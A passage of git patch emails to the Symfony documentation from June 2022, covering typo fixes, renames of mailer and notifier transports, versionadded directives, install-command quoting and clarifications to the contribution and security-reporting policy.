-* **Tests**: Tests that increase the code coverage can be added.
-
 Anything not explicitly listed above should be done on the next minor or major
 version instead. For instance, the following changes are never accepted in a
 patch version:

From 62fba4525f34bc925298a4ab900fb5f4068625fb Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 17 Jun 2022 16:13:41 +0200
Subject: [PATCH 1969/5766] Minor typo

---
 contributing/code/maintenance.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/contributing/code/maintenance.rst b/contributing/code/maintenance.rst
index 75056d05160..53569c903fa 100644
--- a/contributing/code/maintenance.rst
+++ b/contributing/code/maintenance.rst
@@ -56,7 +56,7 @@ on a case by case basis:
 * **Coding standard and refactoring**: Coding standard fixes or code
   refactoring are almost never accepted except for consistency with the
   existing code base, if they are not too invasive, and if merging them into
-  higher branches would not lead to complex branch merging;
+  higher branches would not lead to complex branch merging.
 
 Anything not explicitly listed above should be done on the next minor or major
 version instead. For instance, the following changes are never accepted in a

From 3445fbcc044232c7ec13546f226c9fc9edba5c25 Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Fri, 17 Jun 2022 16:40:01 +0200
Subject: [PATCH 1970/5766] Add more information about security issues

---
 contributing/code/maintenance.rst |  2 ++
 contributing/code/security.rst    | 22 ++++++++++++++++++++++
 2 files changed, 24 insertions(+)

diff --git a/contributing/code/maintenance.rst b/contributing/code/maintenance.rst
index 53569c903fa..7a6edd9b788 100644
--- a/contributing/code/maintenance.rst
+++ b/contributing/code/maintenance.rst
@@ -64,6 +64,8 @@ patch version:
 
 * **New features**;
 
+* **Security hardening**;
+
 * **Backward compatibility breaks**: Note that backward compatibility breaks
   can be done when fixing a security issue if it would not be possible to fix
   it otherwise;
diff --git a/contributing/code/security.rst b/contributing/code/security.rst
index 32401d658f9..7aab51ff919 100644
--- a/contributing/code/security.rst
+++ b/contributing/code/security.rst
@@ -13,6 +13,28 @@ bug tracker and don't publish it publicly. Instead, all security issues must
 be sent to **security [at] symfony.com**. Emails sent to this address are
 forwarded to the Symfony core team private mailing-list.
 
+The following issues are not considered security issues and should be handled
+as regular bug fixes (if you have any doubts, don't hesitate to send us an
+email for confirmation):
+
+* Any security issues found in debug tools that must never be enabled in
+  production (including the web profiler or anything enabled when ``APP_DEBUG``
+  is set to ``true`` or ``APP_ENV`` set to anything but ``prod``);
+
+* Any fix that can be classified as **security hardening** like route
+  enumeration, login throttling bypasses, denial of service attacks, or timing
+  attacks.
+
+In any case, the core team has the final decision on which issues are
+considered security vulnerabilities.
+
+Security Bug Bounties
+---------------------
+
+Symfony is an Open-Source project where most of the work is done by volunteers.
+We appreciate that developers are trying to find security issues in Symfony and
+report them responsibly, but we are currently unable to pay bug bounties.
+
 Resolving Process
 -----------------
 

From 7163e0138976a441d0e48708636786daa02d9c04 Mon Sep 17 00:00:00 2001
From: Thomas <57677046+TomLorenzi@users.noreply.github.com>
Date: Fri, 17 Jun 2022 10:05:41 +0200
Subject: [PATCH 1971/5766] Update cache.rst fix small sentence

---
 cache.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/cache.rst b/cache.rst
index d2eb92fd339..0c2cfbb8646 100644
--- a/cache.rst
+++ b/cache.rst
@@ -806,7 +806,7 @@ Then, register the ``SodiumMarshaller`` service using this key:
 .. caution::
 
     This will encrypt the values of the cache items, but not the cache keys. Be
-    careful not the leak sensitive data in the keys.
+    careful not to leak sensitive data in the keys.
 
 When configuring multiple keys, the first key will be used for reading and
 writing, and the additional key(s) will only be used for reading. Once all

From c7444ddc02c8797bcf78d6ac9a7db531df1f307e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Sat, 18 Jun 2022 11:56:39 +0200
Subject: [PATCH 1972/5766] Minor tweaks

---
 reference/forms/types/options/choice_label.rst.inc |  5 +++++
 reference/forms/types/options/label.rst.inc        | 10 +++++-----
 2 files changed, 10 insertions(+), 5 deletions(-)

diff --git a/reference/forms/types/options/choice_label.rst.inc b/reference/forms/types/options/choice_label.rst.inc
index aa83524ad88..0acb25f67b9 100644
--- a/reference/forms/types/options/choice_label.rst.inc
+++ b/reference/forms/types/options/choice_label.rst.inc
@@ -29,6 +29,11 @@ more control::
         },
     ]);
 
+.. versionadded:: 5.2
+
+    The support for ``TranslatableMessage`` objects in ``choice_label`` was
+    introduced in Symfony 5.2.
+
 This method is called for *each* choice, passing you the ``$choice`` and
 ``$key`` from the choices array (additional ``$value`` is related to `choice_value`_).
 This will give you:
diff --git a/reference/forms/types/options/label.rst.inc b/reference/forms/types/options/label.rst.inc
index da8285a8632..471d8267082 100644
--- a/reference/forms/types/options/label.rst.inc
+++ b/reference/forms/types/options/label.rst.inc
@@ -11,14 +11,14 @@ will suppress the label.
     $builder
         ->add('zipCode', null, [
             'label' => 'The ZIP/Postal code',
+            // optionally, you can use TranslatableMessage objects as the label content
+            'label' => new TranslatableMessage('address.zipCode', ['%country%' => $country], 'address'),
         ])
 
-    // ...
+.. versionadded:: 5.2
 
-    ->add('zipCode', null, [
-            'label' => new TranslatableMessage('address.zipCode', ['%country%' => $country], 'address'),
-        ])
-    ;
+    The support for ``TranslatableMessage`` objects in ``label`` was
+    introduced in Symfony 5.2.
 
 The label can also be set in the template:
 

From 6e5f695259069524447602a10e341fa5039172e7 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Sat, 18 Jun 2022 11:58:25 +0200
Subject: [PATCH 1973/5766] Remove versionadded directive

---
 reference/forms/types/options/choice_label.rst.inc | 5 -----
 reference/forms/types/options/label.rst.inc        | 5 -----
 2 files changed, 10 deletions(-)

diff --git a/reference/forms/types/options/choice_label.rst.inc b/reference/forms/types/options/choice_label.rst.inc
index 0acb25f67b9..aa83524ad88 100644
--- a/reference/forms/types/options/choice_label.rst.inc
+++ b/reference/forms/types/options/choice_label.rst.inc
@@ -29,11 +29,6 @@ more control::
         },
     ]);
 
-.. versionadded:: 5.2
-
-    The support for ``TranslatableMessage`` objects in ``choice_label`` was
-    introduced in Symfony 5.2.
-
 This method is called for *each* choice, passing you the ``$choice`` and
 ``$key`` from the choices array (additional ``$value`` is related to `choice_value`_).
 This will give you:
diff --git a/reference/forms/types/options/label.rst.inc b/reference/forms/types/options/label.rst.inc
index 471d8267082..692c3b41e2a 100644
--- a/reference/forms/types/options/label.rst.inc
+++ b/reference/forms/types/options/label.rst.inc
@@ -15,11 +15,6 @@ will suppress the label.
             'label' => new TranslatableMessage('address.zipCode', ['%country%' => $country], 'address'),
         ])
 
-.. versionadded:: 5.2
-
-    The support for ``TranslatableMessage`` objects in ``label`` was
-    introduced in Symfony 5.2.
-
 The label can also be set in the template:
 
 .. configuration-block::

From 9d90705ac83a5554113192210bc8b5e3c79c1411 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Luk=C3=A1=C5=A1=20Holeczy?= <info@lukasholeczy.eu>
Date: Sun, 19 Jun 2022 16:31:41 +0200
Subject: [PATCH 1974/5766] [Mailer] Rename OhMySMTP to MailPace

OhMySMTP mailer transport was deprecated in Symfony 6.2, new transport MailPace was created due to the service name change.

https://docs.mailpace.com/guide/moving_from_ohmysmtp/
---
 mailer.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 466c2ebc65d..7c94d2e40e8 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -110,7 +110,7 @@ Mailjet             ``composer require symfony/mailjet-mailer``
 Postmark            ``composer require symfony/postmark-mailer``
 SendGrid            ``composer require symfony/sendgrid-mailer``
 Sendinblue          ``composer require symfony/sendinblue-mailer``
-OhMySMTP            ``composer require symfony/oh-my-smtp-mailer``
+MailPace            ``composer require symfony/mailpace-mailer``
 ==================  ==============================================
 
 Each library includes a :ref:`Symfony Flex recipe <symfony-flex>` that will add
@@ -158,10 +158,10 @@ Google Gmail         gmail+smtp://USERNAME:PASSWORD@default               n/a
 Mailchimp Mandrill   mandrill+smtp://USERNAME:PASSWORD@default            mandrill+https://KEY@default                mandrill+api://KEY@default
 Mailgun              mailgun+smtp://USERNAME:PASSWORD@default             mailgun+https://KEY:DOMAIN@default          mailgun+api://KEY:DOMAIN@default
 Mailjet              mailjet+smtp://ACCESS_KEY:SECRET_KEY@default         n/a                                         mailjet+api://ACCESS_KEY:SECRET_KEY@default
+MailPace             mailpace+api://API_TOKEN@default                     n/a                                         mailpace+api://API_TOKEN@default
 Postmark             postmark+smtp://ID@default                           n/a                                         postmark+api://KEY@default
 Sendgrid             sendgrid+smtp://KEY@default                          n/a                                         sendgrid+api://KEY@default
 Sendinblue           sendinblue+smtp://USERNAME:PASSWORD@default          n/a                                         sendinblue+api://KEY@default
-OhMySMTP             ohmysmtp+smtp://API_TOKEN@default                    n/a                                         ohmysmtp+api://API_TOKEN@default
 ==================== ==================================================== =========================================== ========================================
 
 .. caution::
@@ -1271,7 +1271,7 @@ The following transports currently support tags and metadata:
 
 The following transports only support tags:
 
-* OhMySMTP
+* MailPace
 
 The following transports only support metadata:
 

From 094cc5046fb676d751501909ef8436b627dbb362 Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Sun, 19 Jun 2022 15:28:20 -0300
Subject: [PATCH 1975/5766] [Notifier] Fix abandoned & broken package names of
 third-party integration services

---
 notifier.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index 1fb68b6416c..448770ed5cd 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -59,13 +59,13 @@ with a couple popular SMS services:
 ==============  ====================================  ===========================================================================
 Service         Package                               DSN
 ==============  ====================================  ===========================================================================
-AllMySms        ``symfony/allmysms-notifier``         ``allmysms://LOGIN:APIKEY@default?from=FROM``
+AllMySms        ``symfony/all-my-sms-notifier``       ``allmysms://LOGIN:APIKEY@default?from=FROM``
 AmazonSns       ``symfony/amazon-sns-notifier``       ``sns://ACCESS_KEY:SECRET_KEY@default?region=REGION``
 Clickatell      ``symfony/clickatell-notifier``       ``clickatell://ACCESS_TOKEN@default?from=FROM``
 Esendex         ``symfony/esendex-notifier``          ``esendex://USER_NAME:PASSWORD@default?accountreference=ACCOUNT_REFERENCE&from=FROM``
 FakeSms         ``symfony/fake-sms-notifier``         ``fakesms+email://MAILER_SERVICE_ID?to=TO&from=FROM`` or ``fakesms+logger://default``
 FreeMobile      ``symfony/free-mobile-notifier``      ``freemobile://LOGIN:PASSWORD@default?phone=PHONE``
-GatewayApi      ``symfony/gatewayapi-notifier``       ``gatewayapi://TOKEN@default?from=FROM``
+GatewayApi      ``symfony/gateway-api-notifier``      ``gatewayapi://TOKEN@default?from=FROM``
 Infobip         ``symfony/infobip-notifier``          ``infobip://AUTH_TOKEN@HOST?from=FROM``
 Iqsms           ``symfony/iqsms-notifier``            ``iqsms://LOGIN:PASSWORD@default?from=FROM``
 LightSms        ``symfony/light-sms-notifier``        ``lightsms://LOGIN:TOKEN@default?from=PHONE``
@@ -82,7 +82,7 @@ Sinch           ``symfony/sinch-notifier``            ``sinch://ACCOUNT_ID:AUTH_
 Smsapi          ``symfony/smsapi-notifier``           ``smsapi://TOKEN@default?from=FROM``
 SmsBiuras       ``symfony/sms-biuras-notifier``       ``smsbiuras://UID:API_KEY@default?from=FROM&test_mode=0``
 Smsc            ``symfony/smsc-notifier``             ``smsc://LOGIN:PASSWORD@default?from=FROM``
-SpotHit         ``symfony/spothit-notifier``          ``spothit://TOKEN@default?from=FROM``
+SpotHit         ``symfony/spot-hit-notifier``         ``spothit://TOKEN@default?from=FROM``
 Telnyx          ``symfony/telnyx-notifier``           ``telnyx://API_KEY@default?from=FROM&messaging_profile_id=MESSAGING_PROFILE_ID``
 TurboSms        ``symfony/turbo-sms-notifier``        ``turbosms://AUTH_TOKEN@default?from=FROM``
 Twilio          ``symfony/twilio-notifier``           ``twilio://SID:TOKEN@default?from=FROM``

From 6aed3c9b438640585d41339edbfe8ba8177dfa3e Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Sun, 19 Jun 2022 15:33:13 -0300
Subject: [PATCH 1976/5766] [Notifier] Mark nexmo-notifier as abandoned

---
 notifier.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 9adcb3cead2..3a8f2ce1f26 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -80,7 +80,7 @@ Mailjet         ``symfony/mailjet-notifier``          ``mailjet://TOKEN@default?
 MessageBird     ``symfony/message-bird-notifier``     ``messagebird://TOKEN@default?from=FROM``
 MessageMedia    ``symfony/message-media-notifier``    ``messagemedia://API_KEY:API_SECRET@default?from=FROM``
 Mobyt           ``symfony/mobyt-notifier``            ``mobyt://USER_KEY:ACCESS_TOKEN@default?from=FROM``
-Nexmo           ``symfony/nexmo-notifier``            ``nexmo://KEY:SECRET@default?from=FROM``
+Nexmo           ``symfony/nexmo-notifier``            Abandoned: see symfony/vonage-notifier.
 Octopush        ``symfony/octopush-notifier``         ``octopush://USERLOGIN:APIKEY@default?from=FROM&type=TYPE``
 OvhCloud        ``symfony/ovh-cloud-notifier``        ``ovhcloud://APPLICATION_KEY:APPLICATION_SECRET@default?consumer_key=CONSUMER_KEY&service_name=SERVICE_NAME``
 Sendinblue      ``symfony/sendinblue-notifier``       ``sendinblue://API_KEY@default?sender=PHONE``

From 174627bb5bbbe6ed836140536a2313afdce8f5a3 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 20 Jun 2022 09:26:40 +0200
Subject: [PATCH 1977/5766] Minor tweak

---
 notifier.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 3a8f2ce1f26..015f6255150 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -80,7 +80,7 @@ Mailjet         ``symfony/mailjet-notifier``          ``mailjet://TOKEN@default?
 MessageBird     ``symfony/message-bird-notifier``     ``messagebird://TOKEN@default?from=FROM``
 MessageMedia    ``symfony/message-media-notifier``    ``messagemedia://API_KEY:API_SECRET@default?from=FROM``
 Mobyt           ``symfony/mobyt-notifier``            ``mobyt://USER_KEY:ACCESS_TOKEN@default?from=FROM``
-Nexmo           ``symfony/nexmo-notifier``            Abandoned: see symfony/vonage-notifier.
+Nexmo           ``symfony/nexmo-notifier``            Abandoned in favor of Vonage (symfony/vonage-notifier).
 Octopush        ``symfony/octopush-notifier``         ``octopush://USERLOGIN:APIKEY@default?from=FROM&type=TYPE``
 OvhCloud        ``symfony/ovh-cloud-notifier``        ``ovhcloud://APPLICATION_KEY:APPLICATION_SECRET@default?consumer_key=CONSUMER_KEY&service_name=SERVICE_NAME``
 Sendinblue      ``symfony/sendinblue-notifier``       ``sendinblue://API_KEY@default?sender=PHONE``

From bc5a23377f8e605735969a5153c790fa00169a3b Mon Sep 17 00:00:00 2001
From: Mathieu Lechat <mlechat@lucca.fr>
Date: Sat, 18 Jun 2022 21:35:57 +0200
Subject: [PATCH 1978/5766] [HttpClient] Mention `extra.trace_content` option

---
 http_client.rst | 19 +++++++++++++++++++
 1 file changed, 19 insertions(+)

diff --git a/http_client.rst b/http_client.rst
index 8123c081aa7..1d84c059e1f 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -814,6 +814,25 @@ ensure local networks are made inaccessible to the HTTP client::
     // but all the other requests, including other internal networks, will be allowed
     $client = new NoPrivateNetworkHttpClient(HttpClient::create(), ['104.26.14.0/23']);
 
+Profiling
+~~~~~~~~~
+
+When you are using the :class:`Symfony\\Component\\HttpClient\\TraceableHttpClient`,
+responses content will be kept in memory and may exhaust it.
+
+You can disable this behavior by setting the ``extra.trace_content`` option to ``false``
+in your requests::
+
+    $response = $client->request('GET', 'https://...', [
+        'extra' => ['trace_content' => false],
+    ]);
+
+This setting won’t affect other clients.
+
+.. versionadded:: 5.2
+
+    The ``extra.trace_content`` option was introduced in Symfony 5.2.
+
 Performance
 -----------
 

From 5717e80508c33731e6beb28357728d7390db5757 Mon Sep 17 00:00:00 2001
From: Ryan Weaver <ryan@thatsquality.com>
Date: Mon, 20 Jun 2022 11:48:20 -0400
Subject: [PATCH 1979/5766] Tweaking name of Symfonycasts tutorial for Symfony
 6

---
 page_creation.rst | 2 +-
 setup.rst         | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/page_creation.rst b/page_creation.rst
index 48e20b08e0b..d17382f2998 100644
--- a/page_creation.rst
+++ b/page_creation.rst
@@ -21,7 +21,7 @@ two-step process:
 .. admonition:: Screencast
     :class: screencast
 
-    Do you prefer video tutorials? Check out the `Stellar Development with Symfony`_
+    Do you prefer video tutorials? Check out the `Harmonious Development with Symfony`_
     screencast series.
 
 .. seealso::
diff --git a/setup.rst b/setup.rst
index be41fa9aeff..4efb08a9e9e 100644
--- a/setup.rst
+++ b/setup.rst
@@ -7,7 +7,7 @@ Installing & Setting up the Symfony Framework
 .. admonition:: Screencast
     :class: screencast
 
-    Do you prefer video tutorials? Check out the `Stellar Development with Symfony`_
+    Do you prefer video tutorials? Check out the `Harmonious Development with Symfony`_
     screencast series.
 
 .. _symfony-tech-requirements:

From d2fc0d0d58e01f2a4da81e33407a124811426684 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 20 Jun 2022 17:59:15 +0200
Subject: [PATCH 1980/5766] Fix references

---
 page_creation.rst | 2 +-
 setup.rst         | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/page_creation.rst b/page_creation.rst
index d17382f2998..d30bf994954 100644
--- a/page_creation.rst
+++ b/page_creation.rst
@@ -367,5 +367,5 @@ Go Deeper with HTTP & Framework Fundamentals
 
 .. _`Twig`: https://twig.symfony.com
 .. _`Composer`: https://getcomposer.org
-.. _`Stellar Development with Symfony`: https://symfonycasts.com/screencast/symfony/setup
+.. _`Harmonious Development with Symfony`: https://symfonycasts.com/screencast/symfony/setup
 .. _`Flex recipes`: https://github.com/symfony/recipes/blob/flex/main/RECIPES.md
diff --git a/setup.rst b/setup.rst
index 4efb08a9e9e..64e4faf5f94 100644
--- a/setup.rst
+++ b/setup.rst
@@ -317,7 +317,7 @@ Learn More
     setup/web_server_configuration
     setup/*
 
-.. _`Stellar Development with Symfony`: https://symfonycasts.com/screencast/symfony
+.. _`Harmonious Development with Symfony`: https://symfonycasts.com/screencast/symfony
 .. _`Install Composer`: https://getcomposer.org/download/
 .. _`install Symfony CLI`: https://symfony.com/download
 .. _`symfony-cli/symfony-cli GitHub repository`: https://github.com/symfony-cli/symfony-cli

From 8c489084dd44c1899345e85fca6fbce4f78e3701 Mon Sep 17 00:00:00 2001
From: Cyril VERLOOP <cyril.verloop@webqard.fr>
Date: Thu, 23 Jun 2022 11:31:25 +0200
Subject: [PATCH 1981/5766] Updating ICU documentation link.

---
 reference/constraints/Locale.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/constraints/Locale.rst b/reference/constraints/Locale.rst
index a6184df42c6..7bbf13d4a3a 100644
--- a/reference/constraints/Locale.rst
+++ b/reference/constraints/Locale.rst
@@ -117,6 +117,6 @@ Parameter        Description
 
 .. include:: /reference/constraints/_payload-option.rst.inc
 
-.. _`ICU format locale IDs`: http://userguide.icu-project.org/locale
+.. _`ICU format locale IDs`: https://unicode-org.github.io/icu/userguide/locale/
 .. _`ISO 639-1`: https://en.wikipedia.org/wiki/List_of_ISO_639-1_codes
 .. _`ISO 3166-1 alpha-2`: https://en.wikipedia.org/wiki/ISO_3166-1#Current_codes

From 577a261fe77ef0483becfb3d54b96fd7d17b3547 Mon Sep 17 00:00:00 2001
From: ondra <ondra@on-idle.com>
Date: Thu, 23 Jun 2022 12:04:21 +0200
Subject: [PATCH 1982/5766] [SymfonyRuntime] option 'dotenv_overload' mention

---
 components/runtime.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/components/runtime.rst b/components/runtime.rst
index b3b3bef1ecd..0a44db2858f 100644
--- a/components/runtime.rst
+++ b/components/runtime.rst
@@ -337,6 +337,8 @@ The following options are supported by the ``SymfonyRuntime``:
     To disable looking for ``.env`` files.
 ``dotenv_path`` (default: ``.env``)
     To define the path of dot-env files.
+``dotenv_overload`` (default: ``false``)
+    To tell Dotenv whether to override ``.env`` vars with ``.env.local`` (or other ``.env.*``)
 ``use_putenv``
     To tell Dotenv to set env vars using ``putenv()`` (NOT RECOMMENDED).
 ``prod_envs`` (default: ``["prod"]``)

From e834d346c739f3b7510fc9b2fb64657284662234 Mon Sep 17 00:00:00 2001
From: Maxime Pinot <contact@maximepinot.com>
Date: Tue, 21 Jun 2022 16:17:17 +0200
Subject: [PATCH 1983/5766] [Testing] [PHPUnit Bridge] Fix link text

---
 components/phpunit_bridge.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index dfff0e39cfe..bfc6eaf0634 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -48,7 +48,7 @@ Installation
     always use its very latest stable major version to get the most accurate
     deprecation report.
 
-If you plan to :ref:`write-assertions-about-deprecations` and use the regular
+If you plan to :ref:`write assertions about deprecations <write-assertions-about-deprecations>` and use the regular
 PHPUnit script (not the modified PHPUnit script provided by Symfony), you have
 to register a new `test listener`_ called ``SymfonyTestsListener``:
 

From 515203d142c60b3b2bb846ae5fc8ff1109958601 Mon Sep 17 00:00:00 2001
From: Cyril VERLOOP <cyril.verloop@webqard.fr>
Date: Thu, 23 Jun 2022 11:31:25 +0200
Subject: [PATCH 1984/5766] Updating ICU documentation link.

---
 reference/constraints/Locale.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/constraints/Locale.rst b/reference/constraints/Locale.rst
index c61b12187b7..85fc8ee25d2 100644
--- a/reference/constraints/Locale.rst
+++ b/reference/constraints/Locale.rst
@@ -128,6 +128,6 @@ Parameter        Description
 
 .. include:: /reference/constraints/_payload-option.rst.inc
 
-.. _`ICU format locale IDs`: http://userguide.icu-project.org/locale
+.. _`ICU format locale IDs`: https://unicode-org.github.io/icu/userguide/locale/
 .. _`ISO 639-1`: https://en.wikipedia.org/wiki/List_of_ISO_639-1_codes
 .. _`ISO 3166-1 alpha-2`: https://en.wikipedia.org/wiki/ISO_3166-1#Current_codes

From 1f0a475df80ad49a4825ad518d08807aac61b7c4 Mon Sep 17 00:00:00 2001
From: Maxime Pinot <contact@maximepinot.com>
Date: Tue, 21 Jun 2022 16:17:17 +0200
Subject: [PATCH 1985/5766] [Testing] [PHPUnit Bridge] Fix link text

---
 components/phpunit_bridge.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index a6722b417f3..83483081451 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -48,7 +48,7 @@ Installation
     always use its very latest stable major version to get the most accurate
     deprecation report.
 
-If you plan to :ref:`write-assertions-about-deprecations` and use the regular
+If you plan to :ref:`write assertions about deprecations <write-assertions-about-deprecations>` and use the regular
 PHPUnit script (not the modified PHPUnit script provided by Symfony), you have
 to register a new `test listener`_ called ``SymfonyTestsListener``:
 

From 44bc6c38f67c489a1431e5bf2938811d163656a9 Mon Sep 17 00:00:00 2001
From: Peter <peter01101101@gmail.com>
Date: Sat, 18 Jun 2022 10:38:42 +0100
Subject: [PATCH 1986/5766] Adding single quotes around version param

Adding single quotes around version param as otherwise getting this in zsh on MBP:

peter@Peters-MacBook-Pro-3 Projects % symfony new my_project_directory --version=6.0.* --webapp
zsh: no matches found: --version=6.0.*
---
 setup.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/setup.rst b/setup.rst
index 64e4faf5f94..e0b755c382c 100644
--- a/setup.rst
+++ b/setup.rst
@@ -49,10 +49,10 @@ application:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ symfony new my_project_directory --version=6.0.* --webapp
+    $ symfony new my_project_directory --version='6.0.*' --webapp
 
     # run this if you are building a microservice, console application or API
-    $ symfony new my_project_directory --version=6.0.*
+    $ symfony new my_project_directory --version='6.0.*'
 
 The only difference between these two commands is the number of packages
 installed by default. The ``--webapp`` option installs all the packages that you
@@ -273,7 +273,7 @@ stable version. If you want to use an LTS version, add the ``--version`` option:
     $ symfony new my_project_directory --version=next
 
     # you can also select an exact specific Symfony version
-    $ symfony new my_project_directory --version=5.4.*
+    $ symfony new my_project_directory --version='5.4.*'
 
 The ``lts`` and ``next`` shortcuts are only available when using Symfony to
 create new projects. If you use Composer, you need to tell the exact version:

From 95562dd22d2587f92a30bf385dc42aea966737ec Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 23 Jun 2022 16:36:47 +0200
Subject: [PATCH 1987/5766] Use double quotes

---
 setup.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/setup.rst b/setup.rst
index e0b755c382c..4c9d2415a24 100644
--- a/setup.rst
+++ b/setup.rst
@@ -49,10 +49,10 @@ application:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ symfony new my_project_directory --version='6.0.*' --webapp
+    $ symfony new my_project_directory --version="6.0.*" --webapp
 
     # run this if you are building a microservice, console application or API
-    $ symfony new my_project_directory --version='6.0.*'
+    $ symfony new my_project_directory --version="6.0.*"
 
 The only difference between these two commands is the number of packages
 installed by default. The ``--webapp`` option installs all the packages that you
@@ -273,7 +273,7 @@ stable version. If you want to use an LTS version, add the ``--version`` option:
     $ symfony new my_project_directory --version=next
 
     # you can also select an exact specific Symfony version
-    $ symfony new my_project_directory --version='5.4.*'
+    $ symfony new my_project_directory --version="5.4.*"
 
 The ``lts`` and ``next`` shortcuts are only available when using Symfony to
 create new projects. If you use Composer, you need to tell the exact version:

From 80a0506862585fb20f8f82b633c6ea966eb3d148 Mon Sep 17 00:00:00 2001
From: Thibault Buathier <thibault.buathier@gmail.com>
Date: Mon, 20 Jun 2022 18:29:46 +0200
Subject: [PATCH 1988/5766] [Notifier] [SMSFactor] add docs

---
 notifier.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/notifier.rst b/notifier.rst
index 170fe6d334a..cedfd45c845 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -89,6 +89,7 @@ Sinch           ``symfony/sinch-notifier``            ``sinch://ACCOUNT_ID:AUTH_
 Smsapi          ``symfony/smsapi-notifier``           ``smsapi://TOKEN@default?from=FROM``
 SmsBiuras       ``symfony/sms-biuras-notifier``       ``smsbiuras://UID:API_KEY@default?from=FROM&test_mode=0``
 Smsc            ``symfony/smsc-notifier``             ``smsc://LOGIN:PASSWORD@default?from=FROM``
+SMSFactor       ``symfony/sms-factor-notifier``        ``sms-factor://TOKEN@default?sender=SENDER&push_type=PUSH_TYPE``
 SpotHit         ``symfony/spot-hit-notifier``         ``spothit://TOKEN@default?from=FROM``
 Telnyx          ``symfony/telnyx-notifier``           ``telnyx://API_KEY@default?from=FROM&messaging_profile_id=MESSAGING_PROFILE_ID``
 TurboSms        ``symfony/turbo-sms-notifier``        ``turbosms://AUTH_TOKEN@default?from=FROM``
@@ -97,6 +98,10 @@ Vonage          ``symfony/vonage-notifier``           ``vonage://KEY:SECRET@defa
 Yunpian         ``symfony/yunpian-notifier``          ``yunpian://APIKEY@default``
 ==============  ====================================  ===========================================================================
 
+.. versionadded:: 6.2
+
+    The SMSFactor integration was introduced in Symfony 6.2.
+
 .. versionadded:: 6.1
 
     The 46elks, OrangeSms, KazInfoTeh and Sendberry integrations were introduced in Symfony 6.1.

From a4dd1c5e815d89f9e783a82abb98b52edbea5465 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Fri, 24 Jun 2022 22:39:37 +0200
Subject: [PATCH 1989/5766] Remove obsolete versionadded directive

---
 http_client.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index f0800d22cb5..a72e682cd1a 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -813,10 +813,6 @@ in your requests::
 
 This setting won’t affect other clients.
 
-.. versionadded:: 5.2
-
-    The ``extra.trace_content`` option was introduced in Symfony 5.2.
-
 Performance
 -----------
 

From b03c44c396c99ca6b37c5f6b237b7e26ffe67413 Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Sat, 25 Jun 2022 08:51:06 +0200
Subject: [PATCH 1990/5766] Add more clarity about things that cannot be done
 while working on a bug fix patch

---
 contributing/code/maintenance.rst | 15 ++++++++++++---
 1 file changed, 12 insertions(+), 3 deletions(-)

diff --git a/contributing/code/maintenance.rst b/contributing/code/maintenance.rst
index 7a6edd9b788..45ae39c8b12 100644
--- a/contributing/code/maintenance.rst
+++ b/contributing/code/maintenance.rst
@@ -11,8 +11,6 @@ acceptable changes.
 * New unit tests cover the bug fix;
 * The current buggy behavior is not widely used as a "feature".
 
-While working on a bug fix, don't refactor the code or introduce new classes.
-
 .. note::
 
     When documentation (or PHPDoc) is not in sync with the code, code behavior
@@ -46,7 +44,8 @@ a case by case basis:
 * **Tests**: Tests that increase the code coverage can be added.
 
 The following changes are **generally not accepted** in a patch version, except
-on a case by case basis:
+on a case by case basis (mostly when this is related to fixing a security
+issue):
 
 * **Performance improvement**: Performance improvement should only be accepted
   if the changes are local (located in one class) and only for algorithmic
@@ -58,6 +57,16 @@ on a case by case basis:
